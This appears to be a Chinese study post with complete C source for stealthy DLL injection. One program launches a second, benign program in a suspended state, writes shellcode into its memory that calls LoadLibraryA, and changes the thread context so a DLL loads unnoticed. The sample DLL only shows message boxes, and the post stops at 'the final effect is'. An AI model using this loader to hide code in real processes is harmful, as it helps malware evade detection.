EXE1调用EXE2来加载DLL实现隐藏功能

这种方法不易察觉，其实还能做出很多其他的类型，这里只是学习··································

Context.Eip = (DWORD)(((PSHELL_CODE)Buffer)->szInstruction);
改为
Context.Eax = (DWORD)(((PSHELL_CODE)Buffer)->szInstruction);
线程在ring3的第一行代码时,Eax存放的是线程函数起始地址
这个应该更稳妥的,主线程暂停在ntdll空间,由ntdll->EXE入口点 中间还干了事,

学习于 http://bbs.pediy.com/showthread.php?t=159536
自己修改了下结构········································

主CPP ExeOfShellcodeDllInject 代码：

#include "stdafx.h"
#include <Windows.h>

typedef struct tempData
{
char szInjectDllPath[MAX_PATH];
char szShllcode[MAX_PATH];
};

char ShellCode[] = {0x60,0x68,0x78,0x56,0x34,0x12,0xB8,0x78,0x56,0x34,0x12,0xFF,0xD0,0x61,0xE9,0x78,0x56,0x34,0x12};
//pushad
//push 0x12345678
//mov eax,0x12345678
//call eax
//popad
//jmp 0xXXXXXXXX

struct tempData  g_data = {0x0};
int _tmain(int argc, _TCHAR* argv[])
{
//初始化结构体中的两个结构 DLL路径+shellcode
strcpy(g_data.szInjectDllPath,"shellcodeDLLInject.dll");
strcpy(g_data.szShllcode,ShellCode);

char szExePath[] = "OrdinaryMsg.exe";
//PathRemoveFileSpec(szExePath);
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi = {0};
CONTEXT context;
//生成暂停EXE去做事情
if (!CreateProcess(szExePath,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi))
{
printf("找不到exe\n");
return 0;
}
//设置 CONTEXT_INTEGER 才能得到寄存器值
context.ContextFlags = CONTEXT_INTEGER;

GetThreadContext(pi.hThread,&context);

LPVOID lpData = VirtualAllocEx(pi.hProcess,NULL,sizeof(g_data)+1,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if (lpData == NULL)
{
printf("申请内存失败!\n");
return 0;
}

*(DWORD*)(g_data.szShllcode+0x2) = (DWORD)lpData;
*(DWORD*)(g_data.szShllcode + 0x7) = (DWORD)LoadLibraryA;
*(DWORD*)(g_data.szShllcode + 15) = (DWORD)(context.Eax - (DWORD)((char*)lpData + sizeof(MAX_PATH)+ 14) -5 );
//这里面的14为  g_data.szShllcode 起始到最后一个需要修改处的长度

if (!WriteProcessMemory(pi.hProcess,lpData,&g_data,sizeof(g_data),NULL))
{
printf("写入内存失败!\n");
return 0;
}
context.Eax = (DWORD)(((tempData*)lpData)->szShllcode);
ResumeThread(pi.hThread);

return 0;
}

将 OrdinaryMsg.exe shellcodeDLLInject.dll 和主EXE放在同一目录下可以运行成功

OrdinaryMsg.exe 代码：

#include "stdafx.h"
#include <Windows.h>

#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )

int main(int argc, _TCHAR* argv[])
{
//FreeConsole();
MessageBox(NULL,"OrdinaryMsg","OrdinaryMsg",MB_OK);
//AllocConsole();
return 0;
}

shellcodeDLLInject.dll 代码：

#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hModule);
MessageBox(NULL,TEXT("DLL中非法操作"),TEXT("DLL中非法操作"),MB_OK);
break;
case DLL_PROCESS_DETACH:
MessageBox(NULL,TEXT("DLL中非法操作完毕"),TEXT("DLL中非法操作完毕"),MB_OK);
break;
}
return TRUE;
}

最后效果为；